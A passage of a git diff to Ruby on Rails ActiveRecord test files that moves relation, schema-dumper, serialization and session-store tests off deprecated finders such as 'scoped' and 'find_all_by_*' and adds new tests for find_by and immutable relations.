-    assert_equal Developer.find_all_by_name('David').map(&:id).sort, DeveloperCalledDavid.scoped.map(&:id).sort
+    assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
     assert_nil DeveloperCalledDavid.create!.name
   end
 
   def test_default_scope_with_conditions_hash
-    assert_equal Developer.find_all_by_name('Jamis').map(&:id).sort, DeveloperCalledJamis.scoped.map(&:id).sort
+    assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
     assert_equal 'Jamis', DeveloperCalledJamis.create!.name
   end
 
   def test_default_scoping_finder_methods
     developers = DeveloperCalledDavid.order('id').map(&:id).sort
-    assert_equal Developer.find_all_by_name('David').map(&:id).sort, developers
+    assert_equal Developer.where(name: 'David').map(&:id).sort, developers
   end
 
   def test_loading_with_one_association
@@ -391,15 +448,6 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal Post.find(1).last_comment, post.last_comment
   end
 
-  def test_dynamic_find_by_attributes_should_yield_found_object
-    david = authors(:david)
-    yielded_value = nil
-    Author.find_by_name(david.name) do |author|
-      yielded_value = author
-    end
-    assert_equal david, yielded_value
-  end
-
   def test_dynamic_find_by_attributes
     david = authors(:david)
     author = Author.preload(:taggings).find_by_id(david.id)
@@ -409,48 +457,20 @@ class RelationTest < ActiveRecord::TestCase
       assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
     end
 
-    authors = Author.scoped
+    authors = Author.all
     assert_equal david, authors.find_by_id_and_name(david.id, david.name)
     assert_equal david, authors.find_by_id_and_name!(david.id, david.name)
   end
 
   def test_dynamic_find_by_attributes_bang
-    author = Author.scoped.find_by_id!(authors(:david).id)
+    author = Author.all.find_by_id!(authors(:david).id)
     assert_equal "David", author.name
 
-    assert_raises(ActiveRecord::RecordNotFound) { Author.scoped.find_by_id_and_name!(20, 'invalid') }
-  end
-
-  def test_dynamic_find_all_by_attributes
-    authors = Author.scoped
-
-    davids = authors.find_all_by_name('David')
-    assert_kind_of Array, davids
-    assert_equal [authors(:david)], davids
-  end
-
-  def test_dynamic_find_or_initialize_by_attributes
-    authors = Author.scoped
-
-    lifo = authors.find_or_initialize_by_name('Lifo')
-    assert_equal "Lifo", lifo.name
-    assert !lifo.persisted?
-
-    assert_equal authors(:david), authors.find_or_initialize_by_name(:name => 'David')
-  end
-
-  def test_dynamic_find_or_create_by_attributes
-    authors = Author.scoped
-
-    lifo = authors.find_or_create_by_name('Lifo')
-    assert_equal "Lifo", lifo.name
-    assert lifo.persisted?
-
-    assert_equal authors(:david), authors.find_or_create_by_name(:name => 'David')
+    assert_raises(ActiveRecord::RecordNotFound) { Author.all.find_by_id_and_name!(20, 'invalid') }
   end
 
   def test_find_id
-    authors = Author.scoped
+    authors = Author.all
 
     david = authors.find(authors(:david).id)
     assert_equal 'David', david.name
@@ -473,14 +493,14 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_find_in_empty_array
-    authors = Author.scoped.where(:id => [])
-    assert_blank authors.all
+    authors = Author.all.where(:id => [])
+    assert_blank authors.to_a
   end
 
   def test_where_with_ar_object
     author = Author.first
-    authors = Author.scoped.where(:id => author)
-    assert_equal 1, authors.all.length
+    authors = Author.all.where(:id => author)
+    assert_equal 1, authors.to_a.length
   end
 
   def test_find_with_list_of_ar
@@ -508,7 +528,7 @@ class RelationTest < ActiveRecord::TestCase
     relation = relation.where(:name => david.name)
     relation = relation.where(:name => 'Santiago')
     relation = relation.where(:id => david.id)
-    assert_equal [], relation.all
+    assert_equal [], relation.to_a
   end
 
   def test_multi_where_ands_queries
@@ -527,7 +547,7 @@ class RelationTest < ActiveRecord::TestCase
     ].inject(Author.unscoped) do |memo, param|
       memo.where(param)
     end
-    assert_equal [], relation.all
+    assert_equal [], relation.to_a
   end
 
   def test_find_all_using_where_with_relation
@@ -536,7 +556,7 @@ class RelationTest < ActiveRecord::TestCase
     # assert_queries(2) {
     assert_queries(1) {
       relation = Author.where(:id => Author.where(:id => david.id))
-      assert_equal [david], relation.all
+      assert_equal [david], relation.to_a
     }
   end
 
@@ -546,7 +566,7 @@ class RelationTest < ActiveRecord::TestCase
     # assert_queries(2) {
     assert_queries(1) {
       relation = Minivan.where(:minivan_id => Minivan.where(:name => cool_first.name))
-      assert_equal [cool_first], relation.all
+      assert_equal [cool_first], relation.to_a
     }
   end
 
@@ -557,7 +577,7 @@ class RelationTest < ActiveRecord::TestCase
 
     assert_queries(1) {
       relation = Author.where(:id => subquery)
-      assert_equal [david], relation.all
+      assert_equal [david], relation.to_a
     }
 
     assert_equal 0, subquery.select_values.size
@@ -567,7 +587,7 @@ class RelationTest < ActiveRecord::TestCase
     david = authors(:david)
     assert_queries(1) {
       relation = Author.where(:id => Author.joins(:posts).where(:id => david.id))
-      assert_equal [david], relation.all
+      assert_equal [david], relation.to_a
     }
   end
 
@@ -576,7 +596,7 @@ class RelationTest < ActiveRecord::TestCase
     david = authors(:david)
     assert_queries(1) {
       relation = Author.where(:name => Author.where(:id => david.id).select(:name))
-      assert_equal [david], relation.all
+      assert_equal [david], relation.to_a
     }
   end
 
@@ -587,6 +607,7 @@ class RelationTest < ActiveRecord::TestCase
     assert ! davids.exists?(authors(:mary).id)
     assert ! davids.exists?("42")
     assert ! davids.exists?(42)
+    assert ! davids.exists?(davids.new)
 
     fake  = Author.where(:name => 'fake author')
     assert ! fake.exists?
@@ -594,7 +615,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_last
-    authors = Author.scoped
+    authors = Author.all
     assert_equal authors(:bob), authors.last
   end
 
@@ -631,6 +652,10 @@ class RelationTest < ActiveRecord::TestCase
     assert davids.loaded?
   end
 
+  def test_delete_all_limit_error
+    assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
+  end
+
   def test_select_argument_error
     assert_raises(ArgumentError) { Developer.select }
   end
@@ -643,10 +668,29 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal [developers(:poor_jamis)], dev_with_count.to_a
   end
 
+  def test_relation_merging_with_arel_equalities_keeps_last_equality
+    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+      Developer.where(Developer.arel_table[:salary].eq(9000))
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
+  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+    salary_attr = Developer.arel_table[:salary]
+    devs = Developer.where(
+      Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+    ).merge(
+      Developer.where(
+        Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+      )
+    )
+    assert_equal [developers(:poor_jamis)], devs.to_a
+  end
+
   def test_relation_merging_with_eager_load
     relations = []
-    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.scoped)
-    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.scoped)
+    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
 
     relations.each do |posts|
       post = posts.find { |p| p.id == 1 }
@@ -660,10 +704,8 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_relation_merging_with_preload
-    ActiveRecord::IdentityMap.without do
-      [Post.scoped.merge(Post.preload(:author)), Post.preload(:author).merge(Post.scoped)].each do |posts|
-        assert_queries(2) { assert posts.first.author }
-      end
+    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+      assert_queries(2) { assert posts.first.author }
     end
   end
 
@@ -672,8 +714,16 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal 1, comments.count
   end
 
+  def test_relation_merging_with_association
+    assert_queries(2) do  # one for loading post, and another one merged query
+      post = Post.where(:body => 'Such a lovely day').first
+      comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+      assert_equal 1, comments.count
+    end
+  end
+
   def test_count
-    posts = Post.scoped
+    posts = Post.all
 
     assert_equal 11, posts.count
     assert_equal 11, posts.count(:all)
@@ -684,7 +734,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_count_with_distinct
-    posts = Post.scoped
+    posts = Post.all
 
     assert_equal 3, posts.count(:comments_count, :distinct => true)
     assert_equal 11, posts.count(:comments_count, :distinct => false)
@@ -695,7 +745,7 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_count_explicit_columns
     Post.update_all(:comments_count => nil)
-    posts = Post.scoped
+    posts = Post.all
 
     assert_equal [0], posts.select('comments_count').where('id is not null').group('id').order('id').count.values.uniq
     assert_equal 0, posts.where('id is not null').select('comments_count').count
@@ -707,13 +757,13 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_multiple_selects
-    post = Post.scoped.select('comments_count').select('title').order("id ASC").first
+    post = Post.all.select('comments_count').select('title').order("id ASC").first
     assert_equal "Welcome to the weblog", post.title
     assert_equal 2, post.comments_count
   end
 
   def test_size
-    posts = Post.scoped
+    posts = Post.all
 
     assert_queries(1) { assert_equal 11, posts.size }
     assert ! posts.loaded?
@@ -759,7 +809,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_empty
-    posts = Post.scoped
+    posts = Post.all
 
     assert_queries(1) { assert_equal false, posts.empty? }
     assert ! posts.loaded?
@@ -785,7 +835,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_any
-    posts = Post.scoped
+    posts = Post.all
 
     # This test was failing when run on its own (as opposed to running the entire suite).
     # The second line in the assert_queries block was causing visit_Arel_Attributes_Attribute
@@ -807,7 +857,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_many
-    posts = Post.scoped
+    posts = Post.all
 
     assert_queries(2) do
       assert posts.many? # Uses COUNT()
@@ -819,14 +869,14 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_many_with_limits
-    posts = Post.scoped
+    posts = Post.all
 
     assert posts.many?
     assert ! posts.limit(1).many?
   end
 
   def test_build
-    posts = Post.scoped
+    posts = Post.all
 
     post = posts.new
     assert_kind_of Post, post
@@ -841,7 +891,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_create
-    birds = Bird.scoped
+    birds = Bird.all
 
     sparrow = birds.create
     assert_kind_of Bird, sparrow
@@ -853,7 +903,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_create_bang
-    birds = Bird.scoped
+    birds = Bird.all
 
     assert_raises(ActiveRecord::RecordInvalid) { birds.create! }
 
@@ -995,32 +1045,24 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_except
     relation = Post.where(:author_id => 1).order('id ASC').limit(1)
-    assert_equal [posts(:welcome)], relation.all
+    assert_equal [posts(:welcome)], relation.to_a
 
     author_posts = relation.except(:order, :limit)
-    assert_equal Post.where(:author_id => 1).all, author_posts.all
+    assert_equal Post.where(:author_id => 1).to_a, author_posts.to_a
 
     all_posts = relation.except(:where, :order, :limit)
-    assert_equal Post.all, all_posts.all
-  end
-
-  def test_extensions_with_except
-    assert_equal 2, Topic.named_extension.order(:author_name).except(:order).two
+    assert_equal Post.all, all_posts
   end
 
   def test_only
     relation = Post.where(:author_id => 1).order('id ASC').limit(1)
-    assert_equal [posts(:welcome)], relation.all
+    assert_equal [posts(:welcome)], relation.to_a
 
     author_posts = relation.only(:where)
-    assert_equal Post.where(:author_id => 1).all, author_posts.all
+    assert_equal Post.where(:author_id => 1).to_a, author_posts.to_a
 
     all_posts = relation.only(:limit)
-    assert_equal Post.limit(1).all.first, all_posts.first
-  end
-
-  def test_extensions_with_only
-    assert_equal 2, Topic.named_extension.order(:author_name).only(:order).two
+    assert_equal Post.limit(1).to_a.first, all_posts.first
   end
 
   def test_anonymous_extension
@@ -1041,39 +1083,29 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_order_by_relation_attribute
-    assert_equal Post.order(Post.arel_table[:title]).all, Post.order("title").all
-  end
-
-  def test_order_with_find_with_order
-    assert_equal 'zyke', CoolCar.order('name desc').find(:first, :order => 'id').name
-    assert_equal 'zyke', FastCar.order('name desc').find(:first, :order => 'id').name
+    assert_equal Post.order(Post.arel_table[:title]).to_a, Post.order("title").to_a
   end
 
   def test_default_scope_order_with_scope_order
-    assert_equal 'zyke', CoolCar.order_using_new_style.limit(1).first.name
-    assert_equal 'zyke', CoolCar.order_using_old_style.limit(1).first.name
-    assert_equal 'zyke', FastCar.order_using_new_style.limit(1).first.name
-    assert_equal 'zyke', FastCar.order_using_old_style.limit(1).first.name
+    assert_equal 'honda', CoolCar.order_using_new_style.limit(1).first.name
+    assert_equal 'honda', FastCar.order_using_new_style.limit(1).first.name
   end
 
   def test_order_using_scoping
     car1 = CoolCar.order('id DESC').scoping do
-      CoolCar.find(:first, :order => 'id asc')
+      CoolCar.all.merge!(:order => 'id asc').first
     end
-    assert_equal 'zyke', car1.name
+    assert_equal 'honda', car1.name
 
     car2 = FastCar.order('id DESC').scoping do
-      FastCar.find(:first, :order => 'id asc')
+      FastCar.all.merge!(:order => 'id asc').first
     end
-    assert_equal 'zyke', car2.name
+    assert_equal 'honda', car2.name
   end
 
   def test_unscoped_block_style
     assert_equal 'honda', CoolCar.unscoped { CoolCar.order_using_new_style.limit(1).first.name}
-    assert_equal 'honda', CoolCar.unscoped { CoolCar.order_using_old_style.limit(1).first.name}
-
     assert_equal 'honda', FastCar.unscoped { FastCar.order_using_new_style.limit(1).first.name}
-    assert_equal 'honda', FastCar.unscoped { FastCar.order_using_old_style.limit(1).first.name}
   end
 
   def test_intersection_with_array
@@ -1084,12 +1116,8 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal [rails_author], relation & [rails_author]
   end
 
-  def test_removing_limit_with_options
-    assert_not_equal 1, Post.limit(1).all(:limit => nil).count
-  end
-
   def test_primary_key
-    assert_equal "id", Post.scoped.primary_key
+    assert_equal "id", Post.all.primary_key
   end
 
   def test_eager_loading_with_conditions_on_joins
@@ -1104,13 +1132,19 @@ class RelationTest < ActiveRecord::TestCase
       )
     )
 
-    assert scope.eager_loading?
+    assert_deprecated do
+      assert scope.eager_loading?
+    end
   end
 
   def test_ordering_with_extra_spaces
     assert_equal authors(:david), Author.order('id DESC , name DESC').last
   end
 
+  def test_update_all_with_blank_argument
+    assert_raises(ArgumentError) { Comment.update_all({}) }
+  end
+
   def test_update_all_with_joins
     comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id)
     count    = comments.count
@@ -1164,4 +1198,179 @@ class RelationTest < ActiveRecord::TestCase
     end
     assert_equal ['Foo', 'Foo'], query.uniq(true).uniq(false).map(&:name)
   end
+
+  def test_references_triggers_eager_loading
+    scope = Post.includes(:comments)
+    assert !scope.eager_loading?
+    assert scope.references(:comments).eager_loading?
+  end
+
+  def test_references_doesnt_trigger_eager_loading_if_reference_not_included
+    scope = Post.references(:comments)
+    assert !scope.eager_loading?
+  end
+
+  def test_automatically_added_where_references
+    scope = Post.where(:comments => { :body => "Bla" })
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.where('comments.body' => 'Bla')
+    assert_equal ['comments'], scope.references_values
+  end
+
+  def test_automatically_added_having_references
+    scope = Post.having(:comments => { :body => "Bla" })
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.having('comments.body' => 'Bla')
+    assert_equal ['comments'], scope.references_values
+  end
+
+  def test_automatically_added_order_references
+    scope = Post.order('comments.body')
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.order('comments.body', 'yaks.body')
+    assert_equal ['comments', 'yaks'], scope.references_values
+
+    # Don't infer yaks, let's not go down that road again...
+    scope = Post.order('comments.body, yaks.body')
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.order('comments.body asc')
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.order('foo(comments.body)')
+    assert_equal [], scope.references_values
+  end
+
+  def test_presence
+    topics = Topic.all
+
+    # the first query is triggered because there are no topics yet.
+    assert_queries(1) { assert topics.present? }
+
+    # checking if there are topics is used before you actually display them,
+    # thus it shouldn't invoke an extra count query.
+    assert_no_queries { assert topics.present? }
+    assert_no_queries { assert !topics.blank? }
+
+    # shows count of topics and loops after loading the query should not trigger extra queries either.
+    assert_no_queries { topics.size }
+    assert_no_queries { topics.length }
+    assert_no_queries { topics.each }
+
+    # count always trigger the COUNT query.
+    assert_queries(1) { topics.count }
+
+    assert topics.loaded?
+  end
+
+  test "find_by with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by(author_id: 2)
+  end
+
+  test "find_by with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by("author_id = 2")
+  end
+
+  test "find_by with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by('author_id = ?', 2)
+  end
+
+  test "find_by returns nil if the record is missing" do
+    assert_equal nil, Post.all.find_by("1 = 0")
+  end
+
+  test "find_by doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by(author_id: 2) }
+  end
+
+  test "find_by! with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!(author_id: 2)
+  end
+
+  test "find_by! with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!("author_id = 2")
+  end
+
+  test "find_by! with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.order(:id).find_by!('author_id = ?', 2)
+  end
+
+  test "find_by! doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(author_id: 2) }
+  end
+
+  test "find_by! raises RecordNotFound if the record is missing" do
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Post.all.find_by!("1 = 0")
+    end
+  end
+
+  test "loaded relations cannot be mutated by multi value methods" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.where! 'foo'
+    end
+  end
+
+  test "loaded relations cannot be mutated by single value methods" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.limit! 5
+    end
+  end
+
+  test "loaded relations cannot be mutated by merge!" do
+    relation = Post.all
+    relation.to_a
+
+    assert_raises(ActiveRecord::ImmutableRelation) do
+      relation.merge! where: 'foo'
+    end
+  end
+
+  test "relations show the records in #inspect" do
+    relation = Post.limit(2)
+    assert_equal "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>", relation.inspect
+  end
+
+  test "relations limit the records in #inspect at 10" do
+    relation = Post.limit(11)
+    assert_equal "#<ActiveRecord::Relation [#{Post.limit(10).map(&:inspect).join(', ')}, ...]>", relation.inspect
+  end
+
+  test "already-loaded relations don't perform a new query in #inspect" do
+    relation = Post.limit(2)
+    relation.to_a
+
+    expected = "#<ActiveRecord::Relation [#{Post.limit(2).map(&:inspect).join(', ')}]>"
+
+    assert_no_queries do
+      assert_equal expected, relation.inspect
+    end
+  end
+
+  test 'using a custom table affects the wheres' do
+    table_alias = Post.arel_table.alias('omg_posts')
+
+    relation = ActiveRecord::Relation.new Post, table_alias
+    relation.where!(:foo => "bar")
+
+    node = relation.arel.constraints.first.grep(Arel::Attributes::Attribute).first
+    assert_equal table_alias, node.relation
+  end
+
+  test '#load' do
+    relation = Post.all
+    assert_queries(1) do
+      assert_equal relation, relation.load
+    end
+    assert_no_queries { relation.to_a }
+  end
 end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 5c3a78688e..01dd25a9df 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -2,7 +2,13 @@ require "cases/helper"
 
 
 class SchemaDumperTest < ActiveRecord::TestCase
+  def initialize(*)
+    super
+    ActiveRecord::SchemaMigration.create_table
+  end
+
   def setup
+    super
     @stream = StringIO.new
   end
 
@@ -13,10 +19,18 @@ class SchemaDumperTest < ActiveRecord::TestCase
     @stream.string
   end
 
-  if "string".encoding_aware?
-    def test_magic_comment
-      assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
+  def test_dump_schema_information_outputs_lexically_ordered_versions
+    versions = %w{ 20100101010101 20100201010101 20100301010101 }
+    versions.reverse.each do |v|
+      ActiveRecord::SchemaMigration.create!(:version => v)
     end
+
+    schema_info = ActiveRecord::Base.connection.dump_schema_information
+    assert_match(/20100201010101.*20100301010101/m, schema_info)
+  end
+
+  def test_magic_comment
+    assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
   end
 
   def test_schema_dump
@@ -171,6 +185,15 @@ class SchemaDumperTest < ActiveRecord::TestCase
     assert_equal 'add_index "companies", ["firm_id", "type", "rating", "ruby_type"], :name => "company_index"', index_definition
   end
 
+  def test_schema_dumps_partial_indices
+    index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_equal 'add_index "companies", ["firm_id", "type"], :name => "company_partial_index", :where => "(rating > 10)"', index_definition
+    else
+      assert_equal 'add_index "companies", ["firm_id", "type"], :name => "company_partial_index"', index_definition
+    end
+  end
+
   def test_schema_dump_should_honor_nonstandard_primary_keys
     output = standard_dump
     match = output.match(%r{create_table "movies"(.*)do})
@@ -213,6 +236,41 @@ class SchemaDumperTest < ActiveRecord::TestCase
       end
     end
 
+    def test_schema_dump_includes_inet_shorthand_definition
+      output = standard_dump
+      if %r{create_table "postgresql_network_address"} =~ output
+        assert_match %r{t.inet "inet_address"}, output
+      end
+    end
+
+    def test_schema_dump_includes_cidr_shorthand_definition
+      output = standard_dump
+      if %r{create_table "postgresql_network_address"} =~ output
+        assert_match %r{t.cidr "cidr_address"}, output
+      end
+    end
+
+    def test_schema_dump_includes_macaddr_shorthand_definition
+      output = standard_dump
+      if %r{create_table "postgresql_network_address"} =~ output
+        assert_match %r{t.macaddr "macaddr_address"}, output
+      end
+    end
+
+    def test_schema_dump_includes_uuid_shorthand_definition
+      output = standard_dump
+      if %r{create_table "poistgresql_uuids"} =~ output
+        assert_match %r{t.uuid "guid"}, output
+      end
+    end
+
+    def test_schema_dump_includes_hstores_shorthand_definition
+      output = standard_dump
+      if %r{create_table "postgresql_hstores"} =~ output
+        assert_match %r[t.hstore "hash_store", :default => {}], output
+      end
+    end
+
     def test_schema_dump_includes_tsvector_shorthand_definition
       output = standard_dump
       if %r{create_table "postgresql_tsvectors"} =~ output
@@ -243,4 +301,36 @@ class SchemaDumperTest < ActiveRecord::TestCase
     output = standard_dump
     assert_match %r{create_table "subscribers", :id => false}, output
   end
+
+  class CreateDogMigration < ActiveRecord::Migration
+    def up
+      create_table("dogs") do |t|
+        t.column :name, :string
+      end
+      add_index "dogs", [:name]
+    end
+    def down
+      drop_table("dogs")
+    end
+  end
+
+  def test_schema_dump_with_table_name_prefix_and_suffix
+    original, $stdout = $stdout, StringIO.new
+    ActiveRecord::Base.table_name_prefix = 'foo_'
+    ActiveRecord::Base.table_name_suffix = '_bar'
+
+    migration = CreateDogMigration.new
+    migration.migrate(:up)
+
+    output = standard_dump
+    assert_no_match %r{create_table "foo_.+_bar"}, output
+    assert_no_match %r{create_index "foo_.+_bar"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+  ensure
+    migration.migrate(:down)
+
+    ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ''
+    $stdout = original
+  end
+
 end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index 61b04b3e37..10d8ccc711 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -13,7 +13,8 @@ class SerializationTest < ActiveRecord::TestCase
       :created_at     => Time.utc(2006, 8, 1),
       :awesome        => false,
       :preferences    => { :gem => '<strong>ruby</strong>' },
-      :alternative_id => nil
+      :alternative_id => nil,
+      :id             => nil
     }
   end
 
@@ -24,7 +25,7 @@ class SerializationTest < ActiveRecord::TestCase
   end
 
   def test_serialize_should_be_reversible
-    for format in FORMATS
+    FORMATS.each do |format|
       @serialized = Contact.new.send("to_#{format}")
       contact = Contact.new.send("from_#{format}", @serialized)
 
@@ -33,7 +34,7 @@ class SerializationTest < ActiveRecord::TestCase
   end
 
   def test_serialize_should_allow_attribute_only_filtering
-    for format in FORMATS
+    FORMATS.each do |format|
       @serialized = Contact.new(@contact_attributes).send("to_#{format}", :only => [ :age, :name ])
       contact = Contact.new.send("from_#{format}", @serialized)
       assert_equal @contact_attributes[:name], contact.name, "For #{format}"
@@ -42,7 +43,7 @@ class SerializationTest < ActiveRecord::TestCase
   end
 
   def test_serialize_should_allow_attribute_except_filtering
-    for format in FORMATS
+    FORMATS.each do |format|
       @serialized = Contact.new(@contact_attributes).send("to_#{format}", :except => [ :age, :name ])
       contact = Contact.new.send("from_#{format}", @serialized)
       assert_nil contact.name, "For #{format}"
@@ -50,4 +51,10 @@ class SerializationTest < ActiveRecord::TestCase
       assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
     end
   end
+
+  def test_serialized_attributes_are_class_level_settings
+    topic = Topic.new
+    assert_raise(NoMethodError) { topic.serialized_attributes = [] }
+    assert_deprecated { topic.serialized_attributes }
+  end
 end
diff --git a/activerecord/test/cases/session_store/session_test.rb b/activerecord/test/cases/session_store/session_test.rb
index 258cee7aba..a3b8ab74d9 100644
--- a/activerecord/test/cases/session_store/session_test.rb
+++ b/activerecord/test/cases/session_store/session_test.rb
@@ -5,11 +5,15 @@ require 'active_record/session_store'
 module ActiveRecord
   class SessionStore
     class SessionTest < ActiveRecord::TestCase
-      self.use_transactional_fixtures = false unless supports_savepoints? && ActiveRecord::Base.connection.supports_ddl_transactions?
+      self.use_transactional_fixtures = false
+
+      attr_reader :session_klass
 
       def setup
         super
+        ActiveRecord::Base.connection.schema_cache.clear!
         Session.drop_table! if Session.table_exists?
+        @session_klass = Class.new(Session)
       end
 
       def test_data_column_name
@@ -60,8 +64,8 @@ module ActiveRecord
       def test_find_by_session_id
         Session.create_table!
         session_id = "10"
-        s = Session.create!(:data => 'world', :session_id => session_id)
-        t = Session.find_by_session_id(session_id)
+        s = session_klass.create!(:data => 'world', :session_id => session_id)
+        t = session_klass.find_by_session_id(session_id)
         assert_equal s, t
         assert_equal s.data, t.data
         Session.drop_table!
diff --git a/activerecord/test/cases/session_store/sql_bypass.rb b/activerecord/test/cases/session_store/sql_bypass.rb
deleted file mode 100644
index 7402b2afd6..0000000000
--- a/activerecord/test/cases/session_store/sql_bypass.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require 'cases/helper'
-require 'action_dispatch'
-require 'active_record/session_store'
-
-module ActiveRecord
-  class SessionStore
-    class SqlBypassTest < ActiveRecord::TestCase
-      def setup
-        super
-        Session.drop_table! if Session.table_exists?
-      end
-
-      def test_create_table
-        assert !Session.table_exists?
-        SqlBypass.create_table!
-        assert Session.table_exists?
-        SqlBypass.drop_table!
-        assert !Session.table_exists?
-      end
-
-      def test_persisted?
-        s = SqlBypass.new :data => 'foo', :session_id => 10
-        assert !s.persisted?, 'this is a new record!'
-      end
-
-      def test_not_loaded?
-        s = SqlBypass.new({})
-        assert !s.loaded?, 'it is not loaded'
-      end
-
-      def test_loaded?
-        s = SqlBypass.new :data => 'hello'
-        assert s.loaded?, 'it is loaded'
-      end
-
-      def test_save
-        SqlBypass.create_table! unless Session.table_exists?
-        session_id = 20
-        s = SqlBypass.new :data => 'hello', :session_id => session_id
-        s.save
-        t = SqlBypass.find_by_session_id session_id
-        assert_equal s.session_id, t.session_id
-        assert_equal s.data, t.data
-      end
-
-      def test_destroy
-        SqlBypass.create_table! unless Session.table_exists?
-        session_id = 20
-        s = SqlBypass.new :data => 'hello', :session_id => session_id
-        s.save
-        s.destroy
-        assert_nil SqlBypass.find_by_session_id session_id
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/session_store/sql_bypass_test.rb b/activerecord/test/cases/session_store/sql_bypass_test.rb
new file mode 100644
index 0000000000..b8cf4cf2cc
--- /dev/null
+++ b/activerecord/test/cases/session_store/sql_bypass_test.rb
@@ -0,0 +1,75 @@
+require 'cases/helper'
+require 'action_dispatch'
+require 'active_record/session_store'
+
+module ActiveRecord
+  class SessionStore
+    class SqlBypassTest < ActiveRecord::TestCase
+      def setup
+        super
+        Session.drop_table! if Session.table_exists?
+      end
+
+      def test_create_table
+        assert !Session.table_exists?
+        SqlBypass.create_table!
+        assert Session.table_exists?
+        SqlBypass.drop_table!
+        assert !Session.table_exists?
+      end
+
+      def test_new_record?
+        s = SqlBypass.new :data => 'foo', :session_id => 10
+        assert s.new_record?, 'this is a new record!'
+      end
+
+      def test_persisted?
+        s = SqlBypass.new :data => 'foo', :session_id => 10
+        assert !s.persisted?, 'this is a new record!'
+      end
+
+      def test_not_loaded?
+        s = SqlBypass.new({})
+        assert !s.loaded?, 'it is not loaded'
+      end
+
+      def test_loaded?
+        s = SqlBypass.new :data => 'hello'
+        assert s.loaded?, 'it is loaded'
+      end
+
+      def test_save
+        SqlBypass.create_table! unless Session.table_exists?
+        session_id = 20
+        s = SqlBypass.new :data => 'hello', :session_id => session_id
+        s.save
+        t = SqlBypass.find_by_session_id session_id
+        assert_equal s.session_id, t.session_id
+        assert_equal s.data, t.data
+      end
+
+      def test_destroy
+        SqlBypass.create_table! unless Session.table_exists?
+        session_id = 20
+        s = SqlBypass.new :data => 'hello', :session_id => session_id
+        s.save
+        s.destroy
+        assert_nil SqlBypass.find_by_session_id session_id
+      end
+
+      def test_data_column
+        SqlBypass.drop_table! if exists = Session.table_exists?
+        old, SqlBypass.data_column = SqlBypass.data_column, 'foo'
+        SqlBypass.create_table!
+
+        session_id = 20
